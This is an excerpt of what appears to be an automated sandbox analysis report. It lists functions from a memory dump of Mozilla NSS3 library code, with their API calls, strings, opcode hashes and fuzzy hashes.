Opcode Fuzzy Hash: d8a72f36a1f07c60ce2521b70e699a15f9646b4b18ce41e7b2e84c17ba21802a
Instruction Fuzzy Hash: 2151E171A063119BDB10DE29CE8AB6B77E5EF94348F14093CEC55A7750EB31E814CB92

Function 6C7D8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C7D8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C7D8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C7D8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C7D9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7D9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C7D905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C7D9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7D90EC

Part of subcall function 6C7A0F00: PR_GetPageSize.NSS3(6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F1B
Part of subcall function 6C7A0F00: PR_NewLogModule.NSS3(clock,6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C7CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7D9111

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 297fe124f55099f4292bf44d0e89615e0886b6af3398845e3253d52b3e856441
Instruction ID: 73e353cf6d19d83d53a0a5dd8863f28e4feec279f326742f629e166fe69e3491
Opcode Fuzzy Hash: 297fe124f55099f4292bf44d0e89615e0886b6af3398845e3253d52b3e856441
Instruction Fuzzy Hash: F0518B70A086058FCB00EF78C6D9299BBF4BF0A318F165969DC459BB05EB31E885CB91

Function 6C82C790 Relevance: 13.6, APIs: 9, Instructions: 74COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C82C7AE
EnterCriticalSection.KERNEL32 ref: 6C82C7C7
PK11_FreeSymKey.NSS3 ref: 6C82C7E5
PK11_FreeSymKey.NSS3 ref: 6C82C801
PK11_FreeSymKey.NSS3 ref: 6C82C81D
PK11_FreeSymKey.NSS3 ref: 6C82C839
PK11_FreeSymKey.NSS3 ref: 6C82C855
PK11_FreeSymKey.NSS3 ref: 6C82C871
PR_Unlock.NSS3 ref: 6C82C891

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: FreeK11_$CriticalEnterSectionUnlockValue
String ID:
API String ID: 2586530110-0
Opcode ID: 65a964bca1b8f3ff9715508a2e64341a3e0be20ea9eac221e6fda285971cefd2
Instruction ID: 16ccbb62dde359db5f4bae02768778da14c276972e10638db0f1132774000628
Opcode Fuzzy Hash: 65a964bca1b8f3ff9715508a2e64341a3e0be20ea9eac221e6fda285971cefd2
Instruction Fuzzy Hash: A431E771A04B008BE720BF79868E26AB6E4AB02218F514D7CC9E5D7B41EB34E485CBD1

Function 6C814DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C81536F,00000022,?,?,00000000,?), ref: 6C814E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C814F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C814F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C814FAE
free.MOZGLUE(?), ref: 6C814FC8

Strings

%s=%c%s%c, xrefs: 6C814FA9
%s=%s, xrefs: 6C814F89

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 36a77263614295e77633658568531169a55d15cb669b665f0e76920c37af0897
Instruction ID: aa28400a3c39c85d89dc5c8f2b19d21299147e34f7c78ebc42e6bbfa5dc9ba16
Opcode Fuzzy Hash: 36a77263614295e77633658568531169a55d15cb669b665f0e76920c37af0897
Instruction Fuzzy Hash: 49515A31A0D14B8BEB21CA69C6907FF7BF59FC631CF288925E894E7F41D325890587A1

Function 6C882F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C882FFD
sqlite3_initialize.NSS3 ref: 6C883007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C883032
sqlite3_mprintf.NSS3(6C8EAAF9,?), ref: 6C883073
sqlite3_free.NSS3(?), ref: 6C8830B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C8830C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C8830BB

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: ebbe3b134376a3a93aeb329021f190d8fc7976443ced2b0d6a4ad5e8e5ad99fc
Instruction ID: 1c612a38a54f1e209c034196e762dae2ebf9863bc185b6c5753291852d33ec21
Opcode Fuzzy Hash: ebbe3b134376a3a93aeb329021f190d8fc7976443ced2b0d6a4ad5e8e5ad99fc
Instruction Fuzzy Hash: B441D071601606ABDB20CF25DA84A8AB7A5FF44368F148A28EC598BF40E731F955CBD1

Function 6C7CE400 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7CE432
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7CE44F

Part of subcall function 6C7D2C40: TlsGetValue.KERNEL32(#?}l,?,6C7CE477,?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7D2C62
Part of subcall function 6C7D2C40: EnterCriticalSection.KERNEL32(0000001C,?,6C7CE477,?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7D2C76
Part of subcall function 6C7D2C40: PL_HashTableLookup.NSS3(00000000,?,?,6C7CE477,?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7D2C86
Part of subcall function 6C7D2C40: PR_Unlock.NSS3(00000000,?,?,?,?,6C7CE477,?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7D2C93

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7CE494
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7CE4AD
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7CE4D6
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7CE52F

Strings

#?}l, xrefs: 6C7CE409

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID: #?}l
API String ID: 3106257965-1650546601
Opcode ID: 84e6969eccfedfc6b10ff0c44cb2dc6d339cd571de68831beff768bf8953b869
Instruction ID: 3d1b567e6443b2f6489dc3cb1cb21e4fa9da36716bfc94e9f1fee4400213fdb2
Opcode Fuzzy Hash: 84e6969eccfedfc6b10ff0c44cb2dc6d339cd571de68831beff768bf8953b869
Instruction Fuzzy Hash: AB4148B4A0460ACFCB00EF78D68956ABBF0FF05304B054969E8959B711E734E985CBE3

Function 6C7C8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C7D124D,00000001), ref: 6C7C8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C7D124D,00000001), ref: 6C7C8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C7D124D,00000001), ref: 6C7C8D73
PR_Unlock.NSS3(?,?,?,?,?,6C7D124D,00000001), ref: 6C7C8D8C

Part of subcall function 6C85DD70: TlsGetValue.KERNEL32 ref: 6C85DD8C
Part of subcall function 6C85DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C85DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C7D124D,00000001), ref: 6C7C8DBA

Strings

KRAM, xrefs: 6C7C8D3E
KRAM, xrefs: 6C7C8CF9

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 2f93cb6fbea0f9b9189813cfefdf3a25c76c757787a173c094512f2bdef7263d
Instruction ID: d2ee4ce1f489de8c5b48cf2821da354e741726126ae1f004dfb3dc2611441681
Opcode Fuzzy Hash: 2f93cb6fbea0f9b9189813cfefdf3a25c76c757787a173c094512f2bdef7263d
Instruction Fuzzy Hash: 61217EB1B046028FCB40AF38C68566AB7F0FF59308F15897AD8888B701DB30D885CB92

Function 6C8C0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C8C0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C8C0EFA

Part of subcall function 6C7AAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C7AAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8C0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8C0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8C0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8C0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C8C0ED9, 6C8C0EE5, 6C8C0F06, 6C8C0F0B
Aborting, xrefs: 6C8C0EB3

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 6e0e878fb525fcbb1835de5822c2d9bee03e8576204fc535f75b48ea2fa35766
Instruction ID: 70e4be75a630867220ea32f58b26e71dfb4c78d06c2d729d2667d0d34713a77e
Opcode Fuzzy Hash: 6e0e878fb525fcbb1835de5822c2d9bee03e8576204fc535f75b48ea2fa35766
Instruction Fuzzy Hash: CA01ADB6A00104ABDF21AF68DD49C9B3B6CEF462A8B104428FD0987642D771E954DBA3

Function 6C884D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C884DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C884DE0

Strings

%s at line %d of [%.10s], xrefs: 6C884DDA
API call with %s database connection pointer, xrefs: 6C884DBD
misuse, xrefs: 6C884DD5
invalid, xrefs: 6C884DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C884DCB

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 1b74c4852a5e1ac3e0da2c66bfb70e032ddfc29d27cd7cbda72467927bea638a
Instruction ID: 0e8c25553b3760e9f3c6a65020aaa623b775644f3b4da5bc0dc5a5218bb09922
Opcode Fuzzy Hash: 1b74c4852a5e1ac3e0da2c66bfb70e032ddfc29d27cd7cbda72467927bea638a
Instruction Fuzzy Hash: F6F0B426A165686FD7218125DF34F8637994FD631AF460DA1ED086BF93D24598508381

Function 6C884DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C884E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C884E4D

Strings

%s at line %d of [%.10s], xrefs: 6C884E47
API call with %s database connection pointer, xrefs: 6C884E2A
misuse, xrefs: 6C884E42
invalid, xrefs: 6C884E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C884E38

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 5c3e3d61d686d2fbb502fabf9d46d8d04ff470ec5328e1b404fdec8b5e3fe451
Instruction ID: ae282f89a1222681450200aa8aae7b426a13684f3074493b893bf5f3560fb935
Opcode Fuzzy Hash: 5c3e3d61d686d2fbb502fabf9d46d8d04ff470ec5328e1b404fdec8b5e3fe451
Instruction Fuzzy Hash: A3F0E912E465286BE63001259F24F82378E47A633AF094CA1EE09A7F92D205986052A1

Function 6C7F0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C7F1444,?,00000001,?,00000000,00000000,?,?,6C7F1444,?,?,00000000,?,?), ref: 6C7F0CB3

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C7F1444,?,00000001,?,00000000,00000000,?,?,6C7F1444,?), ref: 6C7F0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C7F1444,?,00000001,?,00000000,00000000,?,?,6C7F1444,?), ref: 6C7F0DEC

Part of subcall function 6C810F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C7B2AF5,?,?,?,?,?,6C7B0A1B,00000000), ref: 6C810F1A
Part of subcall function 6C810F10: malloc.MOZGLUE(00000001), ref: 6C810F30
Part of subcall function 6C810F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C810F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C7F1444,?,00000001,?,00000000,00000000,?), ref: 6C7F0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C7F1444,?,00000001,?,00000000), ref: 6C7F0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C7F1444,?,00000001,?,00000000,00000000,?), ref: 6C7F0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C7F1444,?,00000001,?,00000000,00000000,?,?,6C7F1444,?,?,00000000), ref: 6C7F0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C7F1444,?,00000001,?,00000000,00000000,?), ref: 6C7F0E79

Part of subcall function 6C801560: TlsGetValue.KERNEL32(00000000,?,6C7D0844,?), ref: 6C80157A
Part of subcall function 6C801560: EnterCriticalSection.KERNEL32(?,?,?,6C7D0844,?), ref: 6C80158F
Part of subcall function 6C801560: PR_Unlock.NSS3(?,?,?,?,6C7D0844,?), ref: 6C8015B2

Part of subcall function 6C7CB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C7D1397,00000000,?,6C7CCF93,5B5F5EC0,00000000,?,6C7D1397,?), ref: 6C7CB1CB
Part of subcall function 6C7CB1A0: free.MOZGLUE(5B5F5EC0,?,6C7CCF93,5B5F5EC0,00000000,?,6C7D1397,?), ref: 6C7CB1D2

Part of subcall function 6C7C89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7C88AE,-00000008), ref: 6C7C8A04
Part of subcall function 6C7C89E0: EnterCriticalSection.KERNEL32(?), ref: 6C7C8A15
Part of subcall function 6C7C89E0: memset.VCRUNTIME140(6C7C88AE,00000000,00000132), ref: 6C7C8A27
Part of subcall function 6C7C89E0: PR_Unlock.NSS3(?), ref: 6C7C8A35

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 87fbd8e242805111ed767f5cbe7efe255bd78fc61ffacb5128467b3953830b74
Instruction ID: bf245ee99591a9fef3116a5847097660a26ca1b80ee8d0b296561eb3f1302e6e
Opcode Fuzzy Hash: 87fbd8e242805111ed767f5cbe7efe255bd78fc61ffacb5128467b3953830b74
Instruction Fuzzy Hash: BA51B9F6E002015FEB109F68DE8AABB37A8AF05258F550474EC1997712F731FD15C6A2

Function 6C7BE6B0 Relevance: 12.2, APIs: 8, Instructions: 191memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6C7C04DC,?,?), ref: 6C7BE6C9

Part of subcall function 6C8114C0: TlsGetValue.KERNEL32 ref: 6C8114E0
Part of subcall function 6C8114C0: EnterCriticalSection.KERNEL32 ref: 6C8114F5
Part of subcall function 6C8114C0: PR_Unlock.NSS3 ref: 6C81150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6C7C04DC,?,?), ref: 6C7BE6D9

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6C7C04DC,?,?), ref: 6C7BE6F4
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7C04DC,?), ref: 6C7BE703

Part of subcall function 6C80BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C7BE708,00000000,00000000,00000004,00000000), ref: 6C80BE6A
Part of subcall function 6C80BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7C04DC,?), ref: 6C80BE7E
Part of subcall function 6C80BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C80BEC2

CERT_FindCertIssuer.NSS3(?,?,6C7C04DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7BE71E

Part of subcall function 6C7BC870: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,6C7B2D1A), ref: 6C7BC919

Part of subcall function 6C7BE5E0: PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6C7BE755,00000000,00000004,?,?), ref: 6C7BE5F5
Part of subcall function 6C7BE5E0: PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6C7BE62C

CERT_DestroyCertificate.NSS3(?), ref: 6C7BE8AF

Part of subcall function 6C7BE5E0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6C7BE63E
Part of subcall function 6C7BE5E0: PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6C7BE65C
Part of subcall function 6C7BE5E0: SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6C7BE68E

